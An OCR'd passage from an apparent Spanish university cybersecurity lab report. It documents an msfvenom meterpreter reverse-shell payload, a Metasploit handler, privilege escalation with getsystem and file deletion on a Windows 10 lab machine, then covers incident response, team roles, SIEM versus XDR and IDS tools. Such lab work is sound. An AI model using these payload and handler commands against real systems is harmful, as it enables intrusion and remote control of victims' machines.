Apr3 23:53

ingjosecastro@kali: ~

0 & O |Elil G @) cTre verecha
= = = 11:53 p.
H L Buscar i _ ’ % ~BE® Y b O

Fuente: Elaboracion propia.
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Una vez en la consola de Metasploit, se pueden seguir los siguientes pasos para
configurar y ejecutar el exploit:

Figura 69. Consola metasploit.

1P KALILINUX [Corriendo] - Oracle VM VirtualBox
Archivo Ver Entrada Dispositivos

Méquina Ayuda

- Applications  Places Apr3 23:54

a ingjosecastro@kali: ~
Metasploit tip: Save the current environment with the save command,
future console restarts will use this environment again

User Name:

Password:

-- --=[ 1391 payloads - 46 encoders - 11 nops
+ -- --=[ 9 evasion

Metasploit Documentation: https://docs.metasploit.com/

msf6 > |
B @O Bl ElEE cr omeca

o S - W = 1154 p. m.
H A Buscar ol = € NCE® OBy O

Fuente: Elaboracion propia.

Se ingresa el siguiente comando para conectarse con el payload ejecutado por la

victima.

$ use exploit/multi/handler
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Figura 70. Ejecucion multi handler.

ﬂ KALILINUX [Corriendo] - Oracle VM VirtualBox
Archivo Maquina Ver Entrada Dispositivos Ayuda
Applications  Places Apr4 00:02

ingjosecastro@Kkali: ~

User Name:

Password:

https://metasploit.com |

loit dev
2376 exploits - 1232 auxiliary - 416 post
1391 payloads - 46 encoders - 11 nops
=[ 9 evasion

Metasploit Documentation: https://docs.metasploit.com/
msf6 > use exploit/multi/handler

Using configured payload generic/shell_reverse_tcp
msf6 exploit(

& o B G @ cre perecHa

1202a. m.
E® D) By

Fuente: Elaboracion propia.

Se ingresa el siguiente comando para conectarse con payloads
$ set payload windows/x64/meterpreter/reverse_tcp

Figura 71. Ejecucion meterpreter.

PA KALILINUX [Corriendo] - Oracle VM VirtualBox
Archivo  Méquina Ver Entrada _Dispositivos _ Ayuda

Applications  Places Apr4 00:05
ingjosecastro@kali: ~

User Name:

Password:

2376 exploits - 1232 auxiliary - 416 post
1391 payloads - 46 encoders - 11 nops
9 evasion

Metasploit Documentation: https://docs.metasploit.com/

nsf6 > use exploit/multi/handler
Using configured payload generic/shell_reverse_tcp

msf6 exploit( ) > set payload windows/x64/meterpreter/reverse_tcp

payload => windows/x64/meterpreter/reverse_tcp

nsfe exploit(

& O B i G) @ @) cTre perecta
HPBus(ar T Hi o m gm0 ® Y ® o 3 9m ) EP ‘42;15/;0’2: =

Fuente: Elaboracion propia.
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Se ingresa el comando
Set lhost con la ip del atacante en este caso
>set Ihost 192.168.0.13

Luego se ingresa en el puerto por donde esta escuchando con el comando

>set Iport 443

Figura 72. Ingresamos ip del atacante y puerto escucha.

1P KALILINUX [Corriendo] - Oracle VM VirtualBox
Archivo  Mé jer

os  Ayuda
- pp Apr4 00:16

a ingjosecastro@kali: ~
msf6 > use exploit/multi/handler
Using configured payload generic/shell_reverse_tcp
msf6 exploit( ) > set payload windows/x64/meterpreter/reverse_tcp
ayload => windows/x64/meterpreter/reverse_tcp
msf6 exploit( ) > set lhost 192.168.0.13
host => 192.168.0.13
msf6 exploit( ) > set lport 443
port => 443
msf6 exploit( ) > 11

&P & |E i Gl @) cTrL DERECHA
H L Buscar $ N0 i ]

= 1216a. m.
A~ O E@® 7z ) EP o (]

Fuente: Elaboracion propia.
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Ahora se teclea el exploit para ejecutar el ataque.

Figura 73. Ejecucion de exploit.

KALILINUX [Corriendo] - Oracle VM VirtualBox o X
Archivo Maquina Ver Entrada Dispositvos _ Ayuda

@m» »  Applications  Places Apr4 00:22
o ingjosecastro@Kkali: ~

msf6 > use exploit/multi/handler
Using configured payload generic/shell_reverse_tcp
msf6 exploit( ) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf6 exploit( ) > set lhost 192.168.0.13
lhost => 192.168.0.13
msf6 exploit( ) > set lport 443
lport => 443
nsf6 exploit( ) > exploit

Started reverse TCP handler on 192.168.0.13:443
Sending stage (200774 bytes) to 192.168.0.100

Sending stage (200774 bytes) to 192.168.0.100

Meterpreter session 1 opened (192.168.0.13:443 -> 192.168.0.100:64679) at 2024-04-04 00:18:44 -0500
Meterpreter session 2 opened (192.168.0.13:443 -> 192.168.0.100:64681) at 2024-04-04 00:18:44 -0500

meterpreter >

& O iR G@ @ cmeoerecia

H AP Buscar

Fuente: Elaboracion propia.

Figura 74. Ejecucion de troyano por la victima.

Fuente: Elaboracion propia.
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Luego de haberse ejecutado el payload en la maquina victima, se genera la Shell reversa

la cual permite tener a acceso al equipo victima.
Ahora se ingresa el comando sysinfo para que arroje la informacién del equipo victima.

Figura 75. Shell reversa del equipo objetivo

ﬁ KALILINUX [Corriendo] - Oracle VM VirtualBox
Archivo Maguina Ver Entrada Dispositives Ayuda
- Applications  Places Aprd 00:26

] -+ ingjosecastro@kali: ~

msf6 > use exploit/multi/handler
Using configured payload generic/shell_reverse_tcp
msf6 exploit( ) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf6 exploit( ) > set lhost 192.168.0.13
lhost => 192.168.0.13
msf6 exploit( ) > set lport 443
port 3
msf6 exploit( ) > exploit

Started reverse TCP handler on 192.168.0.13:443

Sending stage (200774 bytes) to 192.16:

Sending stage (200774 bytes) to 192.16:

Meterpreter session 1 opened (192.1 > 192.168.0.100:64679) at 2024-04-04 00:18:44 -0500
Meterpreter session 2 opened (192.168. > 192.168.0.100:64681) at 2024-04-04 00:18:44 -0500

meterpreter > sysinfo
ESKTOP-2I756QU
indows 10 (10.0 Build 19045).

£ &
Meterpreter + x64/windows
meterpreter > [

(& || Bl i Gl B (3) cTre oerecria
2%am

® G P

Fuente: Elaboracion propia.

Se teclea el comando dir y si se visualiza la lista de directorios contenidos en la

maquina victima.
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Figura 76. Ejecucion de comando en la maquina objetivo.

PA KALILINUX [Corriendo] - Oracle VM VirtualBox - x
Archivo Maquina Entrada

- Applications  Places Apr4 00:29

Ver Dispositivos _ Ayuda

o ingjosecastro@kali: ~

meterpreter > dir
\Users\UsEr\Desktop

Type Last modified
29221 2020-10-29 17:49:52 1.jpg
41852 2024-03-19 06: 125505776-animali-che-escono-dall-arca-di-no¢.jpg
100777 2024-03-19 06 18203900-ilustracion-de-una-paloma-de-dibujos-animados-con-una-rama-de-olivo. jpg
19819 2021-01-17 16 2.3pg
175916 2024-03-19 06 30337836-noé-arca-de-dibujos-animados. jpg
148358 2024-02-12 11 ACTIVIDAD #2 INTERVALOS.pdf
193287 2024-02-22 19:3 ACTIVIDAD N° 3 INECUACIONES LINEALES.docx
040777 /rwxrvixrwx 4096 2024-04-03 3 ACTIVIDADES UNAD
100666 /rw - 141410 2023-12-05 09:20:3 Anexo 4 - Escenario 3.pdf
96291 2023-12-05 13 Anexo 5 - Escenario 4.pdf
2043 2023-10-23 ApexsQL Audit Main GUI.lnk
6030356656 2023-12-02 00 Backoffice_30 _11 _2023 _A_0~1,1 _01 _27 .bak
181487 2024-03-25 CERTIFICADO SENA JOSE BRIEVA.pdf
165335 2024-03-25 11:25: CERTIFICADO SENA JOSE BRIEVA_001.png
13082 2024-03-27 CONCLUSION JOSE ESTEBAN CASTRO BRIEVA 11C.docx
126602 2023-12-20 COTIZACION LICEO NACIONAL.docx
39578 2024-01-12 CUENTA DE COBRO DIOSESIS DE MONTELIBANO.docx
2013 2024-01-20 15:31:3 CrystalbiskInfo.tnk
93545 2024-03-25 11:15: DIPLOMA JOSE BRIEVA.jpg
209781 2024-03-25 3 Diploma de José brieva .pdf
47710 2024-03-29 23:22:3 EJERCCIOS DE MATEMATICA.jpg
15778 2024-03-04 3 ESCLAVISMO TAREA JOSE ESTEBAN.docx
2024-03-06 ESCLAVISMO. pptx
2023-05-18 Este equipo - Acceso directo.lnk
2024-03-25 11:3 FOTO PRIMO. jpg
2024-02-22 19:49:56 FULLRESET. TXT. txt
2024 _02_2A 14-02-21 GUTA 1 __MFTAROI TSMO__FN7TMA Y RFSPTRACTON docx
W& 5 B i@ G 3 o derecha

o 129am
o) G 5

Fuente: Elaboracion propia.

Se procede a escalar privilegios utilizando el comando
Meterpreter>getsystem

Figura 77. Escalando privilegios

P4 KAULINUX [Corriendo] - Oracle VM VirtualBox - =] X
Entrada Ayuda
@mm - Applications  Places Apr4 01:29

Archivo  Maquina__Ver itvos

a ingjosecastro@kali: ~
(c) Microsoft Corporation. Todos los derechos reservados

C:\Users\UsEr\Desktop>msfvenom -1

ms fvenom -

"msfvenom” no se reconoce como un comando interno o externo,
programa o archivo por lotes ejecutab

C:\Users\UsEr\Desktop>exit

getsystem
via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
shell

Process 16064 created.

Channel 2 creates

Microsoft Windows [Versien 10.0.19045.4170]

(c) Microsoft Corporation. Todos los derechos reservados.

C:\Windows\system32>cd. .
cd. .

c:\Windows>cd Desktop
cd Desktop
El sistema no puede encontrar la ruta especificada.

C:\Windows>cd Escritorio

cd Escritorio

El sistema no puede encontrar la ruta especificada.
C:\Windows>cd. .

cd. .

C:\>cd Escritorio

: =) i 9] B (#) TR DERECHA
= om0 ey v Y o @

Fuente: elaboracion propia.
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Luego ya con los privilegios con el comando DEL procedemos el archivo llamado

prueba.txt

Figura 78. Archivo .txt en escritorio de la victima.

-

Fuente: Elaboracion propia

Figura 79. Archivo .txt en la Shell reversa.

P4 KALILINUX [Corriendo] - Oracle VM VirtualBox

Applications

19/03/2024
15/01/2024
15/02/2024
16/12/2023
15/02/2023
03/04/2024
08/02/2024
04/04/2024
02/04/2024
01/04/2024
13/02/2024
27/03/2024
27/03/2024
03/03/2024
12/01/2024
12/01/2024
14/12/2023
24/10/2023
18/02/2024
19/01/2024
19/01/2024
19/01/2024
29/03/2024
18/02/2024

=

Fuente: Elaboracion propia.

Archivo  Maquina Ver Entrada Dispositivos _ Ayuda

Places

Apr4 08:01

ingjosecastro@kali: ~ Q

.706
.340

o

o
.216
.168
.538

o
.705
403
.740
394
.222
.528
.077
.216
.956
.222
.023
.309
.120
.168
.996
.513

noc3a9-con-paloma-cr. jpg

nucleo familiar castro brieva.pdf
Nuevo documento de texto (2).txt
Nuevo documento de texto.txt
outimage.bin

PoC_92545717 .exe

PRESUPUESTO IDTOLU.pdf

prueba. txt

radigrafia yuly.pdf

radiografia mami.pdf

Resumen castellano jose esteban.docx
Roblox Player.lnk

Roblox Studio.lnk

RStudio64 - Acceso directo.lnk

Rut actual diecesis (1).pdf L
rut ing jose castro.pdf

septiembre info.pdf

SOFTWARE DE CITAS MEDICAS.pdf
sombra. jpg } more you are able to hear"
SQL Server Repair Toolbox.lnk
Stellar Phoenix SQL Database Repair.lnk
Stellar Repair for MS SQL.lnk
Suite Calculadora.lnk
TALLER DE ARTISITICA.docx
Files

Flm POV

100

@B 0& o Bl gIE @R omeca

ADED

Q) ESP



Figura 80. Archivo eliminado.

P4 KALILINUX [Corriendo] - Oracle VM VirtualBox - X

Archivo Maquina Ver Entrada

@ . Applications  Places Apr4 08:01

Dispositivos  Ayuda

ingjosecastro@kali: ~

07/09/2023 09:18 .029 Telegram.lnk
15/01/2024 14:44 .869 ti jose est.pdf
15/01/2024 14:31 .801 ti Jose Castro brieva_1.pdf
15/01/2024 14:31 .504 ti Jose Castro brieva_2.pdf
15/01/2024 14:13 .194 ti Jose esteban.pdf
02/04/2024 15:06 .014 VIDEO PROMOCIONAL CAMPAMENTO.rar
02/04/2024 14:29 .168 VIDEO PROMOCIONAL CAMPAMENTO.txt.exe
30/11/2023 09:42 602.284 VISITA COMEDOR ESCOLAR - IETA LA ARENA.pdf
25/10/2023 03:45 .401 Visual Studio Code.lnk
17/12/2023 14:39 6 668.672 Win10@_22H2_Spanish_x64v1.iso
06/05/2019 10:03 4 703.296 windows 10 original.ISO
03/12/2023 14:57 345.152 Windows X-Lite (19045.3693) 'Optimum 10' v5.
10b By FBConan.iso
26/12/2023 02:02 534.016 XgproV1260_Setup.exe
14/12/2023 10:13 159.351 YULEIS ELENA BRIEVA PATERNINA OTROSI.pdf
14/12/2023 09:38 156.670 YULEIS ELENA BRIEVA PATERNINA.pdf
28/06/2023 19:41 895 eTorrent.lnk

106 archivos 19.796.257.772 bytes

4 dirs 14.736.789.504 bytes libres ! more you are able to hear"

C:\Users\UsEr\Desktop>del prueba.txt
del prueba.txt

C:\Users\UsEr\Desktop>

burpsuite

& O | B Gl & cre perecHa

; = = 801a.m.
ﬂ L Buscar : A G ED z9P) ESP P

Fuente: Elaboracion propia.
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2. A CONTINUACION, LISTE Y DESCRIBA LOS DATOS E INFORMACION DEL
ANEXO 4 — ESCENARIO 3 QUE LE FUERON DE AYUDA PARA IDENTIFICAR EL
FALLO DE SEGURIDAD ESPECIFICO EL CUAL ATACA A LA MAQUINA WINDOWS
10 X64.

13. IDENTIFICACION DE FALLO

- El administrador de dicho equipo se percatd que habia creado un archivo
con extension .txt ubicado en el escritorio y el cual contenia los campos:
Nombre_estudiante_codigo_fecha_actividad el cual habia sido borrado.

- mediante un WhatsApp web un compafiero de trabajo le envié un archivo
con el nombre PoCseminario.exe el cual procedio a descargar y a ejecutar
en la computadora afectada.

- El administrador de la computadora afectada menciona las siguientes
caracteristicas de la computadora en general: Tenia un S.O Windows 10 a
64 bits, Los sistemas de seguridad tanto del S. O como externos se
encontraban desactivados totalmente (Firewall, Windows Defender,
Antivirus entre otros) Contaba con un archivo de texto ubicado en el
escritorio, Recuerda haber ejecutado un archivo .exe con el nombre
PoC_cedulaestudiante.exe.

Todos los anteriores datos fueron de relevancia para el analisis y deteccion
del fallo de seguridad porque nos mostraba un antes y un después del
ataque y las caracteristicas del equipo atacado lo cual nos brindaba una

ruta a seguir para la investigacion de este caso.
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3. ¢QUE HERRAMIENTA UTILIZO PARA PODER IDENTIFICAR LOS FALLOS DE
SEGURIDAD DE LA “MAQUINA WINDOWS 10”? ;QUE PUERTO ABRE LA
APLICACION ESPECIFICA EN EL ANEXO?

14. HERRAMIENTA DE IDENTIFICACION DE FALLOS
Se utilizo NMAP (Network Mapper).
El puerto 443 es el puerto universal de navegacion web para el Protocolo
Seguro de Transferencia de Hipertexto (HTTPS), la contrapartida segura del
HTTP. Es como un guardia que se asegura de que cualquier dato que envies
u obtengas de sitios web se mantenga alejado de ojos indeseados. Este puerto
es crucial para garantizar la seguridad de sus actividades en linea, como las

compras, la gestidon de sus finanzas y el correo electronico.

4. EXPLIQUE CON SUS PALABRAS Y DE MANERA ESPECIFICA COMO AFECTA EL
ATAQUE A LA MAQUINA (WINDOWS 10 X64), HAGA USO DE GRAFICOS PARA
EXPLICAR EL ATAQUE.

15. EXPLICACION DEL ATAQUE
Bueno lo primero que hizo este ataque fue crear puerta trasera(backdoor) en el en
la maquina victima, dejando expuesto el sistema para ser accedido por el atacante
en cualquier momento sin ser detectado, elimino archivos importantes, y también
pudieron robar informacién sensible del sistema, como contrasefias, datos

financieros, informacién personal, etc.
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Figura 81. Diagrama del ataque

MAQUINA VICTIMA

ENVIA POR WHATSSAP ARCHIVO_EXE
REGRESA SMFIl RFVERSA METERPRETER

Fuente: Elaboracion propia.

5. DEBERA DOCUMENTAR Y ADJUNTAR LOS COMANDOS UTILIZADOS Y
EXPLICAR LA ESTRUCTURA DESARROLLADA PARA EL PAYLOAD ADEMAS DE
LOS COMANDOS PARA EJECUTAR EL PAYLOAD.

16. COMANDOS PARA EJECUTAR EL PAYLOAD

16.1 Comandos Nmap

$ nmap 192.168.0.0/24 (ESCANEAR EQUIPOS EN ESTE SEGMENTO DE RED)

$ nmap -O --osscan-guess 192.168.0.100 (ESCANEO PROFUNDO PARA DETECTAR
SISTEMAS OPERATIVO Y PUERTO DE LA MAQUINA VICTIMA)
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16.2 Comandos Msfvenom

$ msfvenom -I (LISTA LA CARGA UTIL O PAYLOADS SEGUN SISTEMA OPERATIVO
Y ARCHITECTURA.)

$ msfvenom -p Windows/x64/meterpreter/reverse_tcp --platform windows -a x64
LHOST=IP_KALI LPORT=443 -f exe >> /Documents/PoC_92545717.exe

16.3 Comandos Metasploit Framework

$ msfconsole (CON ESTE COMANDO ACCEDEMOS A LA CONSOLA DE
METASPLOIT)

$ use exploit/multi/handler (ESTE COMANDO SIR VE PARA CONFIGURAR EL
EQUIPO ATACANTE PARA RECIBIR CONEXIONES ENTRANTES DE UNA
VARIEDAD DE EXPLOITS).

$ set payload windows/x64/meterpreter/reverse_tcp (SIRVE CONFIGURAR EL
PAYLOAD QUE SE UTILIZARA EN UN EXPLOIT ESPECIFICO).

>set Ihost 192.168.0.13 (AQUI CON ESTE COMANDO NUESTRA IP DEL ATACANTE
EN ESTE CASO)

>set Iport 443 (INGRESAMOS EL PUERTO POR DONDE ESTA ESCUCHANDO).

>Sysinfo (NOS MUESTRA LAS CARACTERISTICAS E IN FORMACION DE EQUIPO
VICTIMA)

Meterpreter>getsystem (POR ULTIMO ESTE COMANDO PARA ESCALAR
PRIVILEGIOS Y CONVERTIR EN USUARIO DEL SISTEMA).
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17. ETAPA 4 CONTENCION DE ATAQUES INFORMATICOS

ANALISIS DE ESCENARIO Y ANEXO.

1. ¢ ANTE UN ATAQUE INFORMATICO EN TIEMPO REAL USTED COMO EXPERTO
EN CIBERSEGURIDAD QUE PASOS TOMA PARA IDENTIFICAR DICHO ATAQUE?
DEBE LISTAR Y EXPLICAR CADA UNO DE ESTOS PASOS.

17.1 Pasos para identificar un ataque

1. Analisis inicial del ataque

Lo primero que se debe hacer es identificar y reconocer los rastros del ataque. Esto
incluye notificaciones o alertas de sistemas de deteccion de intrusiones, fallos en el tréfico
de red, reportes de usuarios sobre problemas de rendimiento o comportamiento inusual

del sistema.

2. Verificacion del ataque:
Al detectar o encontrar rastros del supuesto ataque el experto en ciberseguridad debe
verificar y validar que realmente en ese momento esta sucediendo dicho ataque. Este
proceso puede solicitar un analisis mas minucioso de los logs del sistema, registros de
seguridad, la auditoria de los sistemas comprometidos o la utilizaciéon y despliegue de

herramientas de monitoreo adicionales.

3. Categorizacion y clasificacion del ataque

Luego de haberse ya validado que el ataque estd sucediendo o sucedio, es de

fundamental relevancia categorizarlo y clasificarlos basados en su gravedad y tipo; 6sea
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determinar de qué tipo de ataque se trata si es de denegacion de servicio (DoS), un

acceso sin autorizacion en el sistema, un rasomware, malware, robo de datos entre otros.

4. Recoleccién de informacion

El experto en ciberseguridad recopilara toda la informacion que es de vital importancia
para el caso. incluidos registros de eventos, registros de red, registros de sistemas,
archivos sospechosos, trafico de red capturado y cualquier otra evidencia digital

disponible.

5. Andlisis forense inicial:

Se realiza un analisis forense creando cadenas custodia salvaguardando los equipos que
fueron victimas del ataque, luego se realizan copias de seguridad o clonados bits a bits
de los discos duros y medios de almacenamientos que estuvieron comprometidos en
dicho incidente para asi tener mas claridad y conocer mas a profundidad de donde se
origind el ataque, identificar por donde entro al sistema, el método de que utilizo para
propagarse y cualquier accion maliciosa realizada por el atacante. 53 Esto puede implicar

el uso de herramientas forenses especializadas y técnicas de analisis de malware.>*

6. Contener el ataque

Ya sabiendo o conociendo el origen del ataque, es fundamental tomar medidas para
contener el ataque asi y evitar que se propague aun mas. Esto puede incluir el aislamiento
de sistemas comprometidos, la desconexidon de segmentos de red afectados y la

implementacion de contramedidas temporales para mitigar el impacto.

53 MANDIA, K.; PROSISE, C.; PEPE, M. Respuesta a incidentes y andlisis forense de computadoras. Barcelona:
Pearson, 2011.

54 CASEY, E. Evidencia digital y delitos informaticos. Ciencia forense, computadoras e Internet. Madrid: Editorial
Universitaria Ramon Areces, 2014.
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7. Eliminacion del ataque

Una vez contenido el ataque, el siguiente paso es eliminar por completo la amenaza del
sistema. Esto puede implicar la eliminacion de archivos maliciosos, la aplicacion de
parches de seguridad, la reconfiguracion de sistemas comprometidos y la eliminacion de

cuentas de usuario comprometidas.

8. Recuperacion y restauracion de imagenes del sistema

Después de eliminar la amenaza, se procede a restaurar las imagenes o backups de los
sistemas que fueron comprometidos por el atague nuevamente a su estado seguro,
funcional y fiable. Lo anterior conlleva a la restauracion desde copias de seguridad
limpias, la aplicacion de politicas de seguridad mejoradas y la implementacién de

medidas adicionales para prevenir futuros incidentes.

9. Andélisis post-incidente
Una vez que el sistema ha vuelto a su funcionamiento normal, es vital realizar un analisis
post-ataque para entender y corregir los errores cometidos, mejorando asi las defensas
de seguridad. Esto puede implicar las siguientes actividades: revisar los procedimientos
de respuesta a ataques y amenazas, identificar &reas de mejora en la infraestructura de
seguridad y actualizar politicas y controles de seguridad.

10.Informe final y reporte de incidentes:

Esto se debe realizar basandonos en el tipo de ataque y la gravedad del ataque, puede

ser necesario generar un reporte de incidencias a las partes interesadas internas y
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externas, tales como la direccion ejecutiva, los equipos de TI, los clientes afectados y las
autoridades reguladoras pertinentes. Y es de vital importancia realizar la documentacion
requerida del ataque de una manera adecuada para con el fin de que queden futuras
referencias y andlisis de tendencias.

2. ¢ TENIENDO EN CUENTA EL ATAQUE EJECUTADO DESDE EL EJERCICIO DE
RED TEAM LISTE EL PASO A PASO QUE EJECUTO PARA SUBSANAR EL SISTEMA
ANTE EL EVENTO DEL PAYLOAD?

17.2 Pasos para subsanar ataque

- Lo primero que se hizo fue desconectar los equipos de la red, con el fin de evitar
que el atacante continte teniendo control de los sistemas y deje de duplicar o

propagar el virus.

- Luego se analiz6 y diagnostico el tipo de virus qué fue utilizado en el ataque. Lo

cual nos ayudo6 entender y comprender como proceder en este caso

- Se reinicia todo el sistema en modo seguro para limitar la cantidad de programas

y procesos que se ejecutan, lo que facilita la deteccién y eliminacién del payload.

- No obstante, al no lograr eliminar el payload, se utiliz6 un USB booteable con Linux
Ubuntu u otra version de Linux. Con esta herramienta, se buscé el archivo del
payload y se eliming, ya que el sistema operativo booteable se carga en la RAM,

impidiendo la ejecucion del proceso del payload.

- Luego, se procede a escanear todos los sistemas afectados con software antivirus
y antimalware actualizado para detectar y eliminar cualquier software malicioso

restante.
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- Luego, se evaluo el alcance del dafio causado por el payload y se validé qué

archivos o sistemas habian sido comprometidos y qué informacion sensible podria

haber sido borrada, dafiada o robada.

- Luego se restaura la copia de seguridad de los sistemas.

- Se actualizan los parches de seguridad del sistema

- Se cambin todas las contrasefias de las cuentas y sistemas.

3. SABEMOS QUE EXISTEN EQUIPOS BLUE TEAM Y RED TEAM, PERO ENTONCES
¢ QUE DIFERENCIA EXISTEN ENTRE LOS EQUIPOS ANTES MENCIONADOS CON
EL PURPLE TEAM Y EQUIPOS DE RESPUESTA A INCIDENTES INFORMATICOS?

18. DIFERENCIAS ENTRE BLUE TEAM, RED TEAM, PURPLE TEAM, CSIRT
(EQUIPOS DE RESPUESTA A INCIDENTES INFORMATICOS).

Blue Team:

Se centra en la defensa y proteccion de los activos de informacién de una
organizaciobn. Sus principales objetivos son Implementacién vy
mantenimiento de medidas de seguridad, monitoreo de la infraestructura en

busca de actividades sospechosas, respuesta a incidentes de seguridad.
Red Team:
Simula ataques de un adversario real para evaluar la seguridad de una

organizacién desde una perspectiva externa. Sus principales objetivos son

Pruebas de penetracion, ingenieria social, analisis de vulnerabilidades,
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explotacion de sistemas, elaboracion de informes detallados sobre

debilidades identificadas.

- Purple Team:

Actla como un puente entre Blue Team y Red Team, facilitando la colaboraciéon y
el intercambio de conocimientos para mejorar la postura de seguridad. Sus
principales objetivos Coordinacion de ejercicios de simulacion de ataques, revision
de resultados con Blue Team, identificacion de areas de mejora en defensas y

politicas de seguridad.>®

- CSIRT (Computer Security Incident Response Team):

Se enfoca en responder a incidentes de seguridad cibernética reales dentro
de una organizacién. Sus principales objetivos son Deteccién, andlisis,
contencion y eliminacion de amenazas, restauracion de sistemas afectados,
mitigacion del impacto, y posterior analisis y recomendaciones para evitar
futuros incidentes.>®

En conclusion, mientras que Blue Team y Red Team se centran en defensa
y simulacién de ataques respectivamente, Purple Team actia como
intermediario para mejorar la colaboracion entre ambos. Por otro lado,
CSIRT esta dedicado a la respuesta y gestion de incidentes de seguridad

cibernética reales.

55 BEJTLICH, Richard. The Practice of Network Security Monitoring: Understanding Incident Detection and
Response. No Starch Press, 2013.
56 CSIRT. CSIRT. [En linea]. Consultado el 27 de julio de 2024. Disponible en: https://www.csirt.org/.
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4. ;QUE FUNCION TIENE CIS “CENTER FOR INTERNET SECURITY” DENTRO DE
EQUIPOS BLUETEAM? USTED DEBE REALIZAR UN PEQUENO TUTORIAL DE
COMO FUNCIONA CIS Y QUE SE DEBE HACER PARA ENCONTRAR LOS
TUTORIALES QUE POSEE.

El CIS provee al equipo Blue Team con recursos y herramientas para reforzar las
defensas cibernéticas de una organizacion. Estos incluyen pautas de seguridad,
controles esenciales, herramientas de evaluacién y capacitacion. El CIS ayuda al
Blue Team a configurar sistemas de forma segura, identificar areas de mejora y
mantenerse al tanto de las uUltimas practicas en seguridad. En resumen, el CIS es
un aliado importante para fortalecer la seguridad del equipo Blue Team contra las

amenazas cibernéticas.

19.TUTORIAL CIS

1. Visita el sitio web del CIS: Comienza visitando el sitio web oficial del Center for

Internet Security en https://www.cisecurity.org/.

2. Exploralos recursos: En el sitio web del CIS, encontraras una seccion dedicada
a recursos, donde podras encontrar una amplia gama de materiales educativos,

guias, herramientas y tutoriales.

3. Busquedas especificas: Utiliza la funcidbn de busqueda del sitio web para
encontrar tutoriales especificos sobre temas de seguridad cibernética que te
interesen. Por ejemplo, puedes buscar "tutorial de configuracion de firewall" o

“"tutorial de implementacion de los Controles de Seguridad Criticos".

4. Navega por las secciones relevantes: Explora las diferentes secciones del sitio

web que podrian contener tutoriales utiles. Por ejemplo, puedes buscar en la
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seccion de recursos, guias de seguridad, herramientas de evaluacion, o incluso

en el blog del CIS, donde a menudo publican articulos informativos y tutoriales.

5. Registrate para acceder a contenido exclusivo: Algunos recursos Yy tutoriales
del CIS pueden requerir registro gratuito en su sitio web. Considera registrarte para
acceder a contenido adicional y recibir actualizaciones sobre nuevas publicaciones
y eventos relacionados con la seguridad cibernética.

6. Participa en eventos y capacitaciones: El CIS también organiza eventos,
webinars y programas de capacitacion en linea sobre temas de seguridad
cibernética. Mantente atento a estas oportunidades para aprender de expertos en
el campo y obtener informacion practica sobre cdmo mejorar la seguridad de tu

organizacion.

5. DEBERA DOCUMENTAR MEDIANTE LA ELABORACION UNA TABLA LAS
DIFERENCIAS EXISTENTES ENTRE: SIEM Y XDR.

20. DIFERENCIAS ENTRE SIEM Y XDR

Tabla 1. Diferencias SIEM Y XDR

Aspecto SIEM XDR
Se centra en la gestién de Amplia su alcance mas alla de la
eventos de seguridad y la gestién de eventos para incluir la
recopilacion de datos de deteccion, respuesta y analisis de
Enfoque multiples fuentes. amenazas.

Recopila y analiza registros de ||Utiliza tecnologias avanzadas para

eventos de seguridad para detectar, investigar y responder a
detectar anomalias y amenazas de manera proactiva,

Funcionalidad |[|correlacionar incidentes. integrando datos de diversas fuentes.
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Aspecto

SIEM

XDR

Respuesta a

Ofrece capacidades basicas
de respuesta, como alertas y

Proporciona funciones avanzadas de
respuesta, incluyendo la capacidad
de bloquear amenazas y realizar

acciones de remediacion

amenazas notificaciones. automatizada.
Puede enfrentar desafios de
escalabilidad con el
crecimiento del volumen de Disefiado para escalar facilmente
datos y la complejidad de la para manejar grandes volimenes de
Escalabilidad ||red. datos y entornos de red complejos.
Puede integrarse con otras
soluciones de seguridad, Esté disefiado para integrarse sin
aunque puede requerir problemas con herramientas de
esfuerzos de integracion seguridad existentes, simplificando la
Integracion adicionales. implementacion y operacion.

6. DEFINA POR LO MENOS 3 HERRAMIENTAS DE DETECCION DE ATAQUES
INFORMATICOS CON LICENCIA GPL.

21. HERRAMIENTAS DE DETECCION DE ATAQUES

1. Snort:

« Descripcion: Snort es una de las herramientas de deteccion de intrusiones

de red (IDS) de codigo abierto mas populares. Utiliza reglas de deteccion
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para analizar el trafico de red en busca de patrones que puedan indicar
actividades maliciosas.®’

o Caracteristicas principales: Snort es altamente configurable y puede
detectar una amplia gama de amenazas, como escaneos de puertos,
intentos de intrusion, ataques de denegacion de servicio (DoS) y mas.

e Sitio web: https://www.snort.org/

2. Suricata:

. Descripcidn: Suricata es otra herramienta de deteccion de intrusiones de red (IDS)
y prevencién de intrusiones de red (IPS) de codigo abierto. Ofrece andlisis de trafico

de red en tiempo real y detecciéon de amenazas avanzada.8

o Caracteristicas principales: Suricata es capaz de realizar inspeccion profunda de
paquetes, deteccion de malware, seguimiento de archivos y mucho mas. También es
altamente escalable y eficiente en términos de recursos.

. Sitio web: https://suricata.io/

3. Bro (ahora Zeek):

o Descripcion: Anteriormente conocido como Bro, Zeek es una poderosa
plataforma de analisis de trafico de red de cddigo abierto. Se utiliza para el
monitoreo de seguridad, deteccion de intrusiones y analisis forense de

red.>®

57 SNORT. Snort Users Manual 2.9.16. The Snort Project, 8 de abril de 2020. [En linea]. Consultado el 27 de julio de
2024. Disponible en: https://www.snort.org/#documents

58 SURICATA. Suricata Documentation. [En linea]. Consultado el 27 de julio de 2024. Disponible en:
https://docs.suricata.io/en/latest/.

59 NORTHCUTT, S.; FREDERICK, A.; McMILLAN, S. Deteccidn de intrusiones en redes: Manual del analista. Madrid:
Anaya Multimedia, 2014.
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o Caracteristicas principales: Zeek proporciona una vision detallada del
trafico de red y puede identificar conexiones, protocolos y comportamientos
sospechosos. También es altamente personalizable y extensible.

e Sitio web: https://zeek.orqg/

4. OSSEC:

« Descripcion: OSSEC es una plataforma de deteccion de intrusos de host
(HIDS) de codigo abierto que monitorea y analiza la actividad del sistema
en busca de sefiales de intrusiones y comportamientos maliciosos.®°

o Caracteristicas principales: OSSEC ofrece deteccion de intrusiones en
tiempo real, andlisis de registros de eventos, deteccion de rootkits, alertas
y notificaciones, y soporte para integracion con otras herramientas de
seguridad.

o Sitio web: https://www.ossec.net/

5. Suricata IDS:

o Descripcion: Suricata IDS es una bifurcacibn de Suricata centrada
especificamente en la deteccion de intrusiones de red (IDS). Utiliza
tecnologias avanzadas como el procesamiento de mudltiples hilos y la
